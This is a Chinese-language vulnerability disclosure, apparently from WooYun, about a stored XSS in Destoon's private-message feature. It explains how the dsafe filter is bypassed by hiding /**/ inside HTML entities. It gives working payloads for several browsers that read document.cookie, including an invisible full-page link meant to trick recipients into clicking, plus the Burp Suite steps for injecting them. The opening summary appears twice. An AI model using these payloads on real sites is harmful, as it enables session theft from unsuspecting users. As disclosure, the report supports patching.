### 简要描述： 依旧是没处理好富文本，dsafe函数又被绕过了，给出各种浏览器payload（FF和IE1789均直接触发，其他浏览器点击触发）。。。之前学了一招“危害放大”，这回试试看~~ ### 详细说明： 不多说了，触发点在短消息的位置，所以可以指哪打哪。在http://wooyun.org/bugs/wooyun-2014-054857 里面能找到之前的一个漏洞。dsafe是过滤XSS的函数，之前这个漏洞交了以后destoon官方很负责地对dsafe进行了修改。 但依旧没抓住重点，再次被绕过了。触发方式与上一篇相同。 先看看是怎么绕过的吧。dsafe函数代码如下： [<img src="https://images.seebug.org/upload/201405/180145519c864bd5017a18f2139313294c137892.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/180145519c864bd5017a18f2139313294c137892.jpg) 首先匹配出html符号实体（&#xxx;），清除掉。如果再匹配出&#xxx;，就直接strip_tags过滤所有html标签。真够狠。。。之前嵌套绕过的那招不好用了。 但我们看之后那个正则，这两者： ``` "/\<\!\-\-([\s\S]*?)\-\-\>/","/\/\*([\s\S]*?)\*\//" ``` 是会被清除掉的。这两者实际上就是<!---->和/**/两个注释。那么，我们把其中之一如/**/放进&#xxx;中，会发生什么？ &#/**/xxx;是不会被前面的if语句匹配的，然后在后面/**/被清除掉，剩下&#xxx;正好组成一个html符号实体。 所以我们就能够通过使用html实体绕过后面部分关键词，如expression、script等，构造一个XSS，发短消息的话，指哪打哪。 ### 漏洞证明： 先给一个全浏览器通用的XSS代码，点击触发payload： ``` <a...
### 简要描述： 依旧是没处理好富文本，dsafe函数又被绕过了，给出各种浏览器payload（FF和IE1789均直接触发，其他浏览器点击触发）。。。之前学了一招“危害放大”，这回试试看~~ ### 详细说明： 不多说了，触发点在短消息的位置，所以可以指哪打哪。在http://wooyun.org/bugs/wooyun-2014-054857 里面能找到之前的一个漏洞。dsafe是过滤XSS的函数，之前这个漏洞交了以后destoon官方很负责地对dsafe进行了修改。 但依旧没抓住重点，再次被绕过了。触发方式与上一篇相同。 先看看是怎么绕过的吧。dsafe函数代码如下： [<img src="https://images.seebug.org/upload/201405/180145519c864bd5017a18f2139313294c137892.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/180145519c864bd5017a18f2139313294c137892.jpg) 首先匹配出html符号实体（&#xxx;），清除掉。如果再匹配出&#xxx;，就直接strip_tags过滤所有html标签。真够狠。。。之前嵌套绕过的那招不好用了。 但我们看之后那个正则，这两者： ``` "/\<\!\-\-([\s\S]*?)\-\-\>/","/\/\*([\s\S]*?)\*\//" ``` 是会被清除掉的。这两者实际上就是<!---->和/**/两个注释。那么，我们把其中之一如/**/放进&#xxx;中，会发生什么？ &#/**/xxx;是不会被前面的if语句匹配的，然后在后面/**/被清除掉，剩下&#xxx;正好组成一个html符号实体。 所以我们就能够通过使用html实体绕过后面部分关键词，如expression、script等，构造一个XSS，发短消息的话，指哪打哪。 ### 漏洞证明： 先给一个全浏览器通用的XSS代码，点击触发payload： ``` <a href="java&#/**/115;cript:al&#/**/101;rt(docum&#/**/101;nt.cooki&#/**/101;)" style="font-size:500px;opacity:0;">click</a> ``` 我特地在后面加了一个style="font-size:500px;opacity:0;"。比如你收到一个短消息，里面有一个链接，你不一定会点。但如果收到一个短消息，里面一大片空白，你随手一点，就会中招。所以我把a的字体大小设置为500px，并且透明度设置为0，让人看不出是一个超链接。 这算不算所谓的危害放大？ 演示一下吧。首先登陆，来到短消息，填写好收信人等信息，点发送。 中途用burpsuite抓包，把上面的payload进行url编码后放进message[content]字段中： [<img src="https://images.seebug.org/upload/201405/1801592231a41a0e87e98c25285aa5d7e86076e7.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1801592231a41a0e87e98c25285aa5d7e86076e7.jpg) 然后就好了。目标查看新短消息时是这个效果： [<img src="https://images.seebug.org/upload/201405/1802003412465cf82dbbee720c301388b233c564.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1802003412465cf82dbbee720c301388b233c564.jpg) 一大片空白，随便点一下就触发了： [<img src="https://images.seebug.org/upload/201405/18020123997691133181afeb1c12a37417a57ddf.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18020123997691133181afeb1c12a37417a57ddf.jpg) 加载远程js不用演示了吧。。。关键字用html实体绕过。 IE下，直接触发： ``` <img style=xss:expr&#/**/101;ssion(al&#/**/101;rt(docum&#/**/101;nt.cooki&#/**/101;))> ``` Firefox下，直接触发： ``` <embed src=java&#/**/115;cript:al&#/**/101;rt(docum&#/**/101;nt.cooki&#/**/101;)> ``` 给张图： [<img src="https://images.seebug.org/upload/201405/18021003f51bf34b63dd7de2572bb614283a6b43.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18021003f51bf34b63dd7de2572bb614283a6b43.jpg)
